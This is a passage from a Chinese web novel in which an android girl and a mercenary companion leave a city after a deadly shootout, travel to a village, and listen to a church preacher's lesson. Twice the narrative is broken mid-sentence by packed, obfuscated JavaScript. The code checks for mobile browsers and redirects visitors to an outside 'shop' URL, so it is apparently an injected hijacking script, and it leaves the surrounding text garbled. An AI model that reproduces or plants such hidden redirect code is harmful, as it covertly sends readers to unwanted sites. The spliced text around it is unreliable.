姜原说道:“今天死了太多人啦。事到如今,我只想跟二位好好谈谈。尤其是这位梁先生,我看你太紧张了。千万别一听到什么响动,就把手雷给松开,那大家都得完蛋。” 梁树成没有回答,只是死死盯着姜原和胡筱秋。 程光颐则长叹一声。“已经没什么好谈的了。你们赢了。或许真的就跟他说的一样,或许我就不应该……” “别这么说嘛。”姜原不明白程光颐说的“他”到底是谁。他用眼角看了一眼梁树城,又说:“或许你只是不该吃独食而已。” 程光颐并不理会姜原的话,只是喃喃说道:“圣女,请您原谅我的软弱。我不像你那样……” “我个人还是很感谢你的。”姜原对着程光颐低下头去。 胡筱秋举起霰弾銃。一声轰鸣后,大口径独头弹钻透了程光颐的面甲,在他身后的装甲车上印上了一大片红白的痕迹。 “你们干什么!别过来!”梁树成惊慌失措地喊道。“你!你快放下武器!不然我就引爆了!” 胡筱秋丢下枪,也举起双手。 姜原则笑着说道:“梁先生,你看,我们照你的话,已经把三合教会的骑士都杀了。” “啊?你在说什么鬼话!” “梁先生,别怪我们演的戏奇怪。杜老板的确不能让安提赛佣兵出境。但是呢,如果只有你梁先生一个人,还是可以安排的。而且,你看城市那边,杜老板已经派人来接你了。他希望你能在回去后,给米卡的上级解释一下,我们真的是迫不得已。我相信他们也是能理解的。”姜原诚恳地说。 “我不看!你在骗我!”梁树成又在后退。但他的视线还是忍不住向城市的方向飘去。那边真的有一股烟尘扬起,是一支颇庞大的车队。 他的眼中不由得露出了一点伴着惊讶的喜色。 姜原在这一刻放下左手,从他的袖筒中射出两只电极,刺中梁树成的手臂。在强电流的刺激下,梁树成手臂的肌肉剧烈抽搐起来。他想把手雷抛出去,但手指却不听话地越握越紧。 姜原三步并成两步冲上前去,在断开电流的时候一把抄住手雷,扔向远方。 梁树成膝盖一软,跪在地上。那藏青色的方盒落在他两腿之间的沙土中。 胡筱秋早已捡起霰弾銃。她对准跪倒下去的梁树成,扣动了扳机。 手雷在远方爆炸,那一声巨响甚至盖过了枪声。 梁树成的身体慢慢倒了下去。 姜原捡起方盒,打开看了一眼里面的情况。存储器好端端地躺在里面。 而远处的车队也越来越近了。 “看上去,来的人真不少呢。”姜原说。 “那就是代表杜老板了。”胡筱秋回答。 “我是不是最好不要留在这里?”姜原问。 “废话。你去看看向青醒过来没有。”胡筱秋说。“万一还有机会……” “我们就到卡比利亚去。” 胡筱秋嗯了一声,把霰弾銃轻轻架在肩头。“再见啦,蠢货。”她说。 姜原钻进佣兵的装甲车,拖出里面的尸体。 车子扬起一道尘土,向西边离开了。 15. 启程15 周向青沿着废品的地面奔跑。 这次耳畔的风中是尘土、阳光,硝烟和血腥的味道。她有点紧张。 但前方的几个人影已经在通透的空气中清晰可辨。 是姜原和胡小姐,一个教会骑士,还有另一个背对着这边的人。 他们似乎在说着什么。 周向青举起手呼喊,但对方显然听不到她的声音,也看不到她的存在。 他们对靠在装甲车上的骑士说了什么,然后姜原突然弯下腰去,而胡小姐举枪对着骑士的头部开火,随后把枪丢在了地上。 周向青的步子不由得慢了下来。 姜原摇晃着空中的双手,像是在说什么话,然后突然冲到那个人身边,抢走了什么东西。那个人没有抵抗,慢慢地跪了下去。胡小姐捡起枪,再次对着那个人的头部开火。同时,空中有什么东西一起爆炸了。 这一连串的动作,让周向青想起季老鬼有一次给傻宝兄弟带去的电影。 那部电影的声音很小,而且比动作慢了半拍。放在傻宝兄弟那台小小的显像管电视机上,一切都显得滑稽而又怪异。季老鬼狡辩说,那是因为解码器版本太新,导致音轨错位了。 而眼前的景象似乎就是那滑稽画面的再现,只是姜原和胡小姐看上去并没不滑稽,只有怪异。他们在那一片淡蓝色净空的衬托下,显得渺小而又肃杀。 那个骑士该不会是程光颐吧?他不是还要带我去卡比利亚的吗? 周向青的心中嗡嗡作响,她的脚步越来越慢,最后停住了。她睁大眼睛,尝试尽量去看清那个骑士的模样。但她最多只能看到他面甲上的黑洞,以及胸前的一点红色。 那边的装甲车突然开动了。骑士的身体失去了依托,倒了下去,变成地平线上一道粗粗的短线。而那辆装甲车却向她笔直的开了过来,越来越近,越来越大,越来越真实。车子最终在周向青的面前停下了。 “你居然醒啦!”姜原说。他的声音里透着高兴。 “嗯,我醒了。”周向青答道。她注意到,那个青黑色的盒子正摆在副驾驶的位置上。 姜原摘下帽子,从车窗里伸出胳膊,把帽子扣上周向青的脑袋。帽檐挡住了周向青的眼睛。“喏,帽子还给你。我还以为你已经……毕竟感应电流对电子元件的影响很大。”他看周向青一动不动,又问:“你不上来吗?” 周向青从车后绕到另一边,拉开后排的车门,上了车。她看到车里的许多弹壳和血迹,什么也没说,只是坐在座位上。姜原从后视镜里看着她,问:“没事吧?看东西清不清,之前的事情还记不记得之类的?” “我挺好的。”周向青答道。 她一点都不好。 刚才看到的景象在她的心里投下了一道阴影。她突然想起,在她晕过去之前,姜原说过的那句话—— “说不定,我可以在路上再抢你们一次。” 而当时她还以为那只是一句玩笑。她现在算是真的感受到了,人们愿意为了那盒看起来只是一些无聊文档的东西做什么。她感到一种强烈的不安。那个人,“弗莱”,让她的视网膜可以打开保险箱,到底是为了什么?就是为了把这个危险的东西跟自己扯上关系吗? 危险。 周向青隐隐意识到了另一个自己存在的意义。 那打开了开关的“功能”。或许她曾经是看守这东西的人?或者她……各种思绪在她脑子里乱成一团。但所有的思绪都指向一个线索:那个代号“弗莱”的人。 这些危险的人,危险的事,都纠缠在她的周围。她现在已经没有那个逃开的选项,她唯有向着自己的过去不断前进。只有明白这些事情究竟意味着什么,她才能明白自己到底是谁。 她必须到卡比利亚去。 胖球像是感受到了周向青的情绪,在她的衣服里抓挠起来。周向青把手伸进衣襟,轻轻抚弄八哥的羽毛。胖球叨住她的手指扯来扯去,大概是睡了一觉,有点起床气。于是她把胖球放了出来。胖球紧紧抓着她的手指,像老鹰一样神气地睥睨四方。在看到姜原后,它不满地叫了一声,想要扑上去狠啄姜原,亏得周向青赶快把它捉住了。 姜原把车子开到城市下面,在离停车场还有一段距离的地方停下。他开门下车,看到周向青没有动,于是就绕过去,拉开了她那边的车门,弯下腰,做了个请您下车的姿势。 周向青看着姜原腋下的那个青黑色盒子,欲言又止。姜原意识到周向青在看什么,便双手把盒子递了过去。 “原物奉还。”他说。 周向青没有接。她问:“你那时候的报价,还有效吗?” 姜原愣了一下,随即答道:“当然。” “那,你能不能先把钱给我?因为……那东西大概又回到你手里了吧?我已经不打算要它了。” “为什么?” “因为我不想要了。”周向青直视着姜原的眼睛。她已经想明白了。无论如何,文档的内容跟她没有什么关系。跟她有关系的,她所需要的,只有这份文档的原主人,以及与原主人有关联的其他人。只要她在这份文档附近,这份文档是不是在她手上其实并无所谓。 甚至她可能还会更安全一点。她应该尽可能利用姜原这个她目前最“熟悉”的人,同时跟他保持安全的距离。 她只要能去卡比利亚,找到能读取有机存储器的设备,取出胖球脚环里面的信息就好。 她可以跟姜原达成这样的一致。 这一来她就没什么好担心的。她不怕姜原。如果姜原想要怎么样,她就打开那个什么功能。她不是曾经救了他,又差点杀了他吗? 奇怪。当时启动的另一个自己,为什么要救他? 姜原显然并不知道周向青内心转了多少个念头。 他点点头,说:“好是好,但话说回来,你想我怎么支付?” 看到周向青困惑的表情,姜原解释道:“不同的地方用的支付方式不一样。比如城市这边,主要采用的是半电子产品半金属的实物方式结算,也用杜老板‘城市发展振兴会’印刷的振兴券——只不过只能在城内使用。三合教会则用自己铸造的印着圣座头像的银币和金币,而米卡公司那边的体系更加复杂,则是代表工人劳动力的人才资源,而我们学院则是——‘学时’,就是你可以在学院里学习的时间。如果你要实物或银币,我们可以去城里兑换,但那么多可不太方便携带。米卡公司严格取缔仿生人,所以肯定是不会给你开户的。学时的话,仿生人的确能够注册学籍,毕竟老家伙们……但它只能在学院所属的整备安全屋折兑成其它货币或购买实物,也很不方便。” “请给我那什么学时吧。现在就给我。”周向青说。既然姜原是学院的人,那她最好是要学院的货币。 “真的?”姜原愣住了。 “嗯。”周向青郑重点了点头。 “你真的——好吧。反正我还有一个推荐名额。”姜原从衣服最内侧掏出一枚银色的戒指,戒指圆环上刻着细细的蛇鳞,蛇头咬着自己的尾巴末梢。而在蛇头与蛇尾相交的地方,蛇身盘绕着一个圆形徽记。那徽记上的图样比较特殊,蚀刻着人类大脑的侧视图,大脑上插着铁钉和电极。 “你把它戴上。”姜原说。 “戴在哪里?”周向青问。 “随便哪个指头,脚趾头也行。它会认证你的类神经纹。” 周向青翻了个白眼。戒指看着有点大,于是她戴在了自己的右手大拇指上。戒指的蛇眼亮了起来,然后似乎有什么尖锐的东西缓缓刺入她的拇指指根,然后那银蛇的蛇眼便亮了起来。 同时姜原也戴上了一枚戒指,只不过式样与周向青的略有不同。他伸出自己的无名指,示意周向青把拇指靠过来。他们指尖甫一接触,周向青看到自己和姜原的手指居然变成了一个小小的沙漏,而那两条蛇同时也离开戒指,盘绕在沙漏上相向游去。一条蛇的头咬住另一条蛇的尾,沙砾就通过蛇身流入周向青的沙漏之中。 周向青瞪大了眼睛,触电般撤回了手指。 那沙漏和蛇也随之从她眼前一并消失,只剩那条银色的蛇形戒指仍旧盘绕在她的大拇指上。周向青深深吸了一口气,从刚才的体验中挣脱出来,然后又伸出了右手的拇指。 “怎么了?”姜原已经把戒指收了起来。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088304|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“我想请你送我去卡比利亚,帮我弄明白帽子和胖球的事情。”她生怕姜原不明白她的意思,又说:“你刚才给我的那些沙子,我给你一半当报酬。” 姜原表情复杂地盯着周向青看了好一会,才说:“你不知道这些‘沙子’有多大价值,是吧?” 周向青摇了摇头。“很多吗?” “多到你无法——”姜原张了张嘴,还是咽下了原本想说的话,重新说道:“你不要以为它看起来花哨,就觉得不是什么值钱东西。而且,我刚才给你的那些学时,也不是我自己的东西。我只是代替学院把它给你而已。如果你只是想雇一个我这样的人送你去卡比利亚,连百分之一,甚至是千分之一都用不着。但那也并不是这学时的真正价值。它真正的价值在于,不论你是什么人,都可以用它学习想要的任何知识。这是多少人梦寐以求的机会。更别提有很多人为了区区几十个学时,死在荒郊野外。这不起眼的‘沙子’,就是时间本身,它是你在学院里的……生命。” 姜原说完一连串的话,吁了口气,又皱眉问:“而且你为什么突然这样?到底怎么了?” 周向青答道:“我只是想到卡比利亚去。” 姜原叹了口气,把周向青的拇指按回她的手心。 “那你也犯不着乱给别人这种东西。你把这戒指收好别丢了。虽然它不是啥不能丢的东西,但这戒指里毕竟记录了一部分你的信息。你最好是把它放在安全的地方,深的口袋,包里,或者藏在……”姜原上下打量着周向青的衣服,但没找到他能认同的可以储藏如此贵重物品的地方。“得,还是我给你收着吧。”他又把那戒指从周向青的手上撸了下来,塞进自己最内侧的口袋。 周向青看着眼前喋喋不休的姜原,只感觉到一种强烈的割裂感。 眼前这个人,跟刚才蓝天下的那个无声的人,到底哪个才是真实的他? 她不会忘记自己看到的那个画面。 ### 姜原又回到了安全整备屋——这回它开门了——又搞了一辆二手车。 因为“城市”并没有直接前往卡比利亚的航班。近年来公司和教会的紧张程度急剧上升,边境地区基本都进入了禁航状态。而环运城上空一直都是禁止任何大型航空器进入的,因为环形且高架的城市固然可以较好抵御小股地面力量的袭击,但无法防御大型航空器的火力。 所以,前往卡比利亚最好的方法反而是驾车。只要越过城市与三合教会的边境一路向南,沿巡游道穿过广袤的乡村地带,就能抵达这座教会与公司边境的重镇。 而姜原的计划就是这样。 重新做好准备之后,他们在城市休息了一晚,第二天一早便驾车出发。 云景龙并没有来找他们,胡筱秋同样没来。大家都很忙。杜会长封锁了枪战的所有消息,对外声称,安提赛佣兵与教会骑士们因矛盾激化在城内交火,公然违反停火协议,并且伤及无辜。经反复劝阻无效后,交火人员均被“振兴会”的执法人员击毙。杜会长因此事邀请公司和教会派出代表,重新参与巩固停火协议的谈判。而公司和教会尚未针对此事答复。 这些消息是姜原和周向青越过边境前,在休息站餐厅的电视上看到的。 很多人都在看电视,但那台电视的液晶屏有些漏液,只有一半的图像能够完整显示。虽然有一些现场画面,但没人能看清楚当事人的样子。所以,也没有人注意他们。 通关检查也很简单——准确地说,只要按人头缴纳30元面值的银币,没人在乎你究竟是从哪来,到哪去,想做什么。倒是另一侧,自教会前往城市的检查异常严格。因为公司与教会边境局势紧张的缘故,不少人想搬到城市讨生活。但生活并不想让所有人都过得那么轻松。 姜原和周向青像其他人一样缴了费,领了印着姓名和通关时间的收据,开着小车继续向前。 而站在边界警戒塔上的教会骑士就如青铜雕像一般伫立在晨光中,庄严地俯视从他脚下通过的人群和车辆,却对各人的心思和车内的情况丝毫不知。 再见,环运城。我不知道是不是家乡的地方。 周向青如是想。 16. 卡比利亚之夜01 “今天你那么看着车外,已经三个小时了。”姜原瞟了周向青一眼。 自从车子开入乡村地区,周向青就一直盯着车窗外大片的绿野呆呆出神。她从来没见过这么宽阔的田地,还有树林。 “但怎么看都看不腻。”周向青答道。胖球也帮腔似的跟着叫:“哇不力,哇是胖揪!”然后又开始撕咬笼子。 “你要不要再放它出去飞一圈?” “不行。那边的树林太近。而且路上总是有车按喇叭,我怕它吓得飞到树林里去,那就难找了。”周向青答道。 胖球大概是听到喇叭这个词,开始“嘀嘀嘀嘀、嘀嘀嘀嘀——”地叫起来。这是它在上个休息站学会的。停车场里有一辆车因为被撞到,一直响个不停。 姜原赶忙捂住耳朵。“那还是下个空旷地方放它出来吧。” 但话音未落,几辆摩托车按着喇叭,从他们车身两侧飞驰而过。 车上有人回过头,对他们比了个粗鲁的手势。他们身上的教会骑士罩袍在风中猎猎抖动。 “看来不是所有骑士都是跟程光颐一个样子。”姜原叹气道。 他现在的车速大约是70公里。因为这条路被大量货车压出了两条狭长而起伏的沟壑,如果开得快一点,车子就剧烈颠簸起来,头晕想吐不说,连脑袋都要撞上车顶。 但那些摩托车骑士们毫不在意,只是一路狂飙,显然乐在其中。 周向青没说什么。疾驰而过的骑士让她想起了昨天看到的那幅画面。 几乎透明的蓝天之下,枪口火光一闪,骑士慢慢倒了下去。 她并未就这件事问过姜原什么。她现在也并不想问。 又是尖锐且连续的喇叭声。几辆大卡车顶在他们后面,把大喇叭按个不停。高大的卡车才不在意这些小小的沟壑。 姜原只得加起速度,然后在下一个路口拐到一边,让卡车车队先行通过。 有的卡车防水油布下高高堆着捆好的木箱,上面打着教会的红色三角印记;有的卡车后面蒙着深绿色的防水蓬,车斗里坐着两排士兵,在惯性作用下东倒西歪,弹来跳去。士兵们有人忧心忡忡,有人想要呕吐,有人说笑打闹。卡车渐行渐远,士兵们的神情便渐渐看不到了。 “今天第四批了。”姜原说。“这才刚到中午。” “真的要打仗了吗?” “大概吧。昨天早上,杜老板提出要巩固停火协议,晚上公司表态拒绝,杜老板随后决定同时暂停公司和教会两边的出入境手续,并宣布不会中止货物贸易及之前签下的商业协议。还好咱们出来得早。”姜原说的是他们吃早饭时看到的消息。“当然,杜老板并不会优先被攻击。他目前是一个绝对中立的态度,城市又是一个易攻难守的地方。无论哪方,一旦打破城市的中立性,都会马上把它变成绞肉机。这也是大家想避免的事情。” “我不喜欢打仗。”周向青重新望向窗外。 大概中午时分,他们抵达了一个小小的、平和且安静的村子。 车队往来的巡游大道横贯村子正中,将小小的村庄一分为二。大道一侧是长满青草的山坡,下去之后是一层一层的梯田;另一侧虽然也有农田,但农田之外就是覆盖着郁郁葱葱树林的山地。一路开来,这种不知名的小村庄少说也遇到了十多个,而距离圣城卡比利亚,大概还有好几个村子的距离。 姜原把车子停在一块难得的平地上,下车活动手脚,顺便吃点干粮。 周向青也带胖球下了车。她先把胖球的鸟笼放在车顶,让它熟悉一下周围的环境。胖球呼吸到新鲜空气,又看到周围盎然的绿意,兴奋地在笼中乱跳。 村里并无人影,大概村民们都在农地里。 周向青打开笼子,先让胖球站上手指,喂它吃了一点小虫。她有点担心小虫喂光了该怎么办。因为这地方并不像有卖鸟粮的地方。但就算在城里,她也同样没找到。想到这里,她有点佩服总是可以搞到乱七八糟东西的季老鬼了,不知道他的小三轮毁坏之后,有没有在背地里骂她。但大概她没有机会知道了。 胖球吃完小虫,开始东张西望。于是周向青走到视野开阔地大道边,向外一挥手,胖球便振翅飞出。它在附近的农田上空飞了一个圈,然后返回落在周向青的手上。周向青再次一挥手,胖球又在农田上空绕了一个更大的圈,重新落回周向青手上。 姜原鼓掌赞道:“厉害厉害。” 周向青颇为得意,再次挥出手去。胖球比前两次飞得更高了一些,它越过农田,掠过坡下一栋二层小楼的屋顶,然后像是看到了什么一样,突然打了个转,俯冲下去,不见了。 周向青大惊失色,从齐腰高的草丛中穿过,径直奔向坡下。姜原想追上去,但他手里的夹馍还没吃完,连忙在带肉有菜的地方咬了几口,把剩下的饼边丢进草丛。他沿着下去的羊肠小道兜兜转转跑了几步,又想起车门还没有锁;调头跑了几步,然后又觉得不锁车也没什么关系,又回身找路,这一颠一倒,就落在了后面。 周向青早已冲下了斜坡,到了胖球消失的小楼附近。她在楼前楼后找了一圈,没有看到胖球的影子,只得望向远方。只见这栋小楼背后是一片斜坡,斜坡下是广袤的农田,左手边是另外几户人家;而从右手边下去,有一栋仓库似的方形建筑,大门上画着一个红色的三角。一个小姑娘正站在通往仓库的路上,她的手上正停着一只黑毛黄嘴的鸟。 “胖球!”周向青叫了一声。八哥回过头来,远远地叫了一声,算是回应,但并没有飞回她的身边。 她急忙跑了过去。 “大姐姐,这是你的八哥吗?”小姑娘问道。她看上去大约十一二岁年纪,头发盘起来用头巾包着,穿着一身方便干活的农家衣服,腰间还系着一个有口袋的小围裙,看上去精精干干。 “是我的。”周向青对胖球伸出手去,胖球便乖乖站上周向青的手指。但它的眼睛还是在看小姑娘。这让周向青有点疑惑。 “真好。我小时候也养过一只八哥,跟这只很像。妈妈嫌它到处拉屎,把它送给过路的叔叔了。”小姑娘羡慕地望着周向青手上的胖球。不过一个小姑娘老气地说“小时候”,让人感觉有些好笑。 “那你想摸摸吗?”周向青问。 那张小脸一下子笑成了一朵花。她伸手捋了捋胖球的脖颈。胖球歪着头,尽情享受免费按摩。小姑娘开心地摸了一会儿,眼角的余光却看到了周向青胸口的三角徽章,便问:“大姐姐,你也是统修会的吗?” 周向青一怔,低头看去,才发现程光颐给她的圣三角徽章仍别在她的胸前。这两天她竟忘了这件事。她只好说:“不是,这是……朋友给我的。” 她想把徽章取下来,但她一只手还拿着胖球,徽章的卡扣又有点紧,一时竟没解开。 “大姐姐,要不要我帮你拿着?”让娜盯着周向青的八哥,垂涎不已。 周向青不好拒绝,便让胖球站在让娜的手上。胖球就很自然地站了上去,像是习惯了一样。周向青倒是有点惊讶。因为胖球对姜原和胡小姐的态度都不是很好。 “你要不要试着让它飞出去?就像这样,它自己会飞出去。”周向青做了个手心向外,往前挥手的手势。 让娜有样学样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088305|195405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,而胖球也就一拍翅膀,在空中飞了一圈,又落回让娜的手上。周向青又从口袋里掏出小虫让她喂,胖球也吃了。 “你还挺厉害的。”周向青说。 小姑娘嘿嘿笑了。“因为我养过嘛。是爷爷教我亲手喂的,说手养的鸟儿才会亲人。只不过,我妈妈嫌脏,不让我养。爷爷也争不过她。” “因为都是她打扫卫生吧。”姜原突然笑着插嘴。他不知道什么时候已经从坡上下来了。 周向青白了姜原一眼,柔声说:“你想养的话,可以长大以后再养。” “嗯。我知道。村子那边有一片树林,有很多八哥。我之前的小黑,也是爷爷在林子里捡到的。爷爷说,是蛇进了它家,但它跑出来了,才没被吃掉。” “那是什么时候的事啊?”周向青问。 “嗯……大概是我八岁?九岁?反正是好几年前了。我只养了它半年多,它学会飞以后,在家里到处飞,妈妈才坚持要把它送走的。也不知道那个过路的叔叔带它去了哪里,它还过得好不好。” “这样啊。”周向青看着让娜手上的胖球,一个念头从她的脑海中渐渐浮现、清晰,但她又觉得有点难以置信。世界应该不会如此之小吧。“你说的那个过路的叔叔,叫什么名字?” “我不知道,我没见过他。妈妈是趁我不在家的时候,偷偷送人的。” 姜原又凑了过来:“我以前也养过一只狗……”但还不等他说完,周向青直接把他推到一边,又问:“那你妈妈今天在不在家?” 让娜不明白周向青为什么要问这个问题。“你不要告诉我妈妈我摸了你的八哥。她一直怕我重新养鸟。” “你放心。我不会跟你妈妈说的。我只想问问她那个过路叔叔的事情——” “外加吃一顿饭。”姜原说。 “外加吃一顿……你能不能别打岔?” “可以呀。反正我一会上完课要给我爸爸他们送饭。你们可以一起吃。我下课以后——”小姑娘却突然想起了什么,惊呼一声。“都忘记要上课了!拜拜姐姐,谢谢你让八哥和我玩!”她跑向仓库,但又在准备开门时停下了。“大姐姐,你是路过这里的吗?” “是啊。”周向青答道。她此时早就忘记了徽章的事情,那个红色的三角正牢牢挂在她的胸口。 “那你过一会就要走了?”小姑娘看上去有些失望。 “不,还不走。”周向青不由得顺着她说。 小姑娘一听,马上兴奋起来。“那我上完课,就带你去我家!”小姑娘飞快地说完,把仓库门拉开一道缝,一头钻进去,又“啪”地把门关上了。 周向青不免笑出声来。“这个小家伙真可爱。”她说。 姜原抬起一边眉毛,笑问:“哦?你也会觉得小孩可爱吗?” “怎么,你有意见?”周向青沉下脸。 “没有。她的确挺可爱的。” 周向青明白姜原的意思。姜原只是把自己看作一个由传奇数据猎人制作的,极为精密的仿生人,所以对自己的心理反应感到好奇。她对此很是不快,但她不想让这种不快破坏她刚才的体验。 两人在乡间的道路上百无聊赖地站了一会,看着眼前的风景。 姜原突然提议道:“既然你对她有兴趣,那就进去听听呗。” “啊?你打扰人家小孩子上课干什么?” “教会的统修课是任何人都可以随便听的。周末听课的成年人还不少呢。”姜原直接伸手推门,走了进去。 周向青想要拒绝,但又忍不住好奇,便挪到门口,伸了半个脑袋向里望去。 17. 卡比利亚之夜02 仓库里有十几个年龄不一的孩子,他们或坐在堆起来的麻袋上,或靠在墙边,还有几个年纪小的直接坐在地上。他们围着一个几乎和姜原一个年纪的男子,专心听他讲话。那男人面容清癯,穿着一件白色打底,红色镶边的袍服,胸前绣着一个大大的红色三角,一举一动中自有一股昂然的神气。 那男人看到姜原和周向青进来,只是微微点了点头,继续讲他的故事。 “……恶魔引诱她说:‘难道你不希望拥有无限的智慧,无穷的力量吗?何必住在这小小的茅屋之中,日复一日的辛勤劳作?大理石雕花的地面,香樟木镂刻的轩窗,百花齐放的庭院,锦被香帐的眠床,在我的世界中,那都只是不值一提的东西,更何况一个小小的茅屋?你可以跺跺脚就让山河破碎,伸伸腰就让日月无光。只有进入那个世界,才能真的解放你的才智,帮助你恢复这个已经崩溃的世界。’圣女听了恶魔的低语,放下手中的锄头,问:‘那么,靡菲斯特,代价是什么呢?’” “是啊,代价是什么呢?”一个小男孩问道。 “‘代价……只是你的灵魂。但我并不是索要你的灵魂。你必须把你的灵魂从身体中抽出,放进这个魔法的容器,才能进入我们的世界。’靡菲斯特贪婪地搓着他的双手,浑浊的眼睛里放出光芒。他用力扯了扯自己身下的漩涡,好让圣女看到漩涡另一侧充满光辉的样子。但圣女答道:‘不。我才不会受你欺骗。灵魂离开身体,我们就一无所有。’她重新举起锄头,继续给她的田地松土。因为她知道,春种秋收,有什么样的付出才有什么样的回报。但并不是所有人都像圣女这样想。尽管圣女告诫了所有的人,但他们还是听从了靡菲斯特的劝诱,一个接一个地把自己的灵魂放进了施了魔法的罐子,从而变成了恶魔的奴隶。此时,靡菲斯特才说出了自己真正的目标。他想要的并不是这些空虚的灵魂,而是想要攫取圣殿中上个时代人们智慧的结晶。” “那可不行!”“恶魔真坏!”孩子们喊道。 “没错,那可不行。圣女急忙向圣父求救。圣父答允在第三天的早晨到来。但此时靡菲斯特听到了圣女的求援。他驱使那些没有灵魂的空壳,胡乱挥舞着手中的武器,含混不清地嗥叫着,向圣殿冲来。而圣女唯有孤身一人,持盾仗剑,挡在圣殿前面,阻碍靡菲斯特实现他的阴谋。被奴役的村民们此时已认不出她,只是红着双眼、如野兽般向她进攻。而圣女却不想伤害这些昔日和自己一同劳作的人们,因为他们变成这样是出于一时的贪欲与无知,并不是天性如此。她只是挡开他们的攻击,打落他们手中的武器,顶多刺中他们的手腕或是脚踝,让他们一时无法行动。但靡菲斯特的精神控制力非常强大。村民们即便受了伤,也仍然无休无止的进攻。时间一分一秒的过去,无论白天与夜晚战斗都不停歇。虽然圣女的意志仍然顽强,但她的身体却先一步坚持不住了。终于在第三天凌晨最黑暗的时候,从阴影中砍出的一刀命中了她的身体。然后又一刀,再接一刀。圣女举起剑招架,但那柄剑也同样伤痕累累,折断了。她终于倒了下去,倒在了自己尝试保护、拯救的人们的刀下。鲜血从她的胸膛中涌出,染红了身下的草地。靡菲斯特不由得狂笑起来,失去了圣女的阻碍,他的胜利已经触手可及。” 孩子们的眼中泪水莹莹。而那男人的话语竟也有些哽咽。 “但是,靡菲斯特的阴谋仍然没有得逞。圣父的大军在晨曦中发起了冲锋。靡菲斯特见势不妙,丢下魔法罐子逃跑了。圣父砸开了罐子,最终释放出了所有人的灵魂。圣女的牺牲拯救了圣殿,也拯救了大家。而如今,圣殿仍然屹立在卡比利亚,而那些被拯救的人,就是我们的祖先。而时刻警惕恶魔的诱惑,感谢圣女的牺牲,让自己变得更加强大,就是我们卡比利亚人从这个故事中得到的教训。好,历史故事到此结束。大家有什么问题吗?” 孩子们纷纷举起手来。 “提米。”男人伸手示意最小的那个孩子先问。 “赛德机师,你说的那些村民,为什么要接受恶魔的诱惑呢?” “问得好,提米。因为羡慕、想要变成强者,同时希望占有、享受更好的生活,是我们人类的本性。从这一点说,我们都有受到诱惑的危险。但变强、过上更好的生活,并不是一件简单的事情。村民们之所以接受诱惑,就是因为他们想要走一条不流血也不流汗的捷径。下一个,卡尔。”回答完提米的问题,被称为赛德机师的男人又对较大的那个男孩伸手示意。 “赛德机师,我不太明白。快速变强到底有什么不好?我天生就比较壮实,也没有付出什么代价啊。而且我也没有做过坏事。你问问他们,我从来没欺负过别人,还帮过他们不少忙。”孩子们纷纷点头称是。 “问得好,卡尔。其实快速地变强本身并没有任何不好。但某种程度上说,这得益于你的天赋。但不是所有人都有一样的天赋。比如托德比较瘦,但他考试的成绩更好。要让你像托德一样聪明,或者让托德像你一样强壮,就不是那么容易了。正因如此,圣三角才会有‘机械’这一角,而我们‘机师’也是因此才来到村庄里帮助你们。因为通过机械,才能够使我们快速地变得一样的‘强’。下一个……让娜。”赛德机师看着之前周向青遇到的女孩,表情有点复杂。“你这次又想问点什么?” “赛德机师,我想问,既然你说希望大家都快快地变得一样强,那你们为什么不接受加里叔叔?他想当骑士,但你们一直不让他当。” “你怎么又问这个……不是因为他断了一只手,身体检测不合格吗?既然没能通过检测,那就没办法了呀。” “但我爸爸前天晚上还偷偷跟他道歉说,一直凑不齐三十万捐款,耽误了叔叔。加里叔叔还发了脾气。所以那根本不是检测不合格的问题,而是没有捐款的问题,不是吗?” “那完全……是两回事。捐款是用于筹集研究资金,这样融合研修人员就能尽快找到让每一个人都能够加入融合的办法。而身体检测则是为了,检查你叔叔的身体健康程度,能不能承担骑士们的职责。” “但加里叔叔也很壮实啊。他只是干活的时候被机器切断了一只手。我的姨妈在卡比利亚当书记员,她说所有的骑士都必须把一只手换成铁臂才可以,那少一只手也不影响什么吧?”让娜继续追问。 赛德机师看着孩子们的目光,额头上渗出细密的汗珠。“呃,这是……哦!两位客人!孩子们,有旁听的客人来了。” 孩子们一下子都转过头来,看到了姜原和周向青。 让娜看到周向青手里的八哥,开心地欢呼一声,忘记了自己刚才的问题。 “大姐姐,你来啦!”让娜撇下其他人,连蹦带跳地迎了上来。其它的孩子们看到陌生人,倒是有些拘束。赛德机师趁机拍了拍手,宣布下课。孩子们便开心地一哄而散,他们也跟着孩子们慢慢走出仓库。 “两位是小让娜的亲戚吗?”赛德机师问道,同时敏锐地看了一眼周向青胸前的三角徽章。 “不,我们只是刚认识,只是比较投缘而已。”周向青说。让娜一出仓库,就带着胖球跑到下面的田里,一起捉虫子。 “原来是这样。刚才小让娜说她的姨妈在卡比利亚当书记员,所以我不免想到那方面去了。两位是过路?准备去哪里呢?” “我们去卡比利亚,游览观光。”姜原答道。“那边情况怎么样?” “虽然几天前边界仍有交火,但大家也习惯了。目前看来还算比较安定。”赛德机师答道。 “你是卡比利亚人?” “也是,但也不是吧。我们巡游机师每人负责一个讲区,每个讲区十几个村子。我平时都借住在村庄里,只是定期去卡比利亚报告一次,上次回去也是几个月前了。”赛德机师笑了笑,续道:“所以更多算是一个乡下人。” “那真是挺辛苦的。”周向青说。 三人都望着坡下的让娜。让娜跟胖球一起捉了几只蚂蚱,胖球吃饱了便不再吃,开始梳理羽毛。让娜发现大家都在等她,有点不好意思,便带着胖球一起回到坡上来。 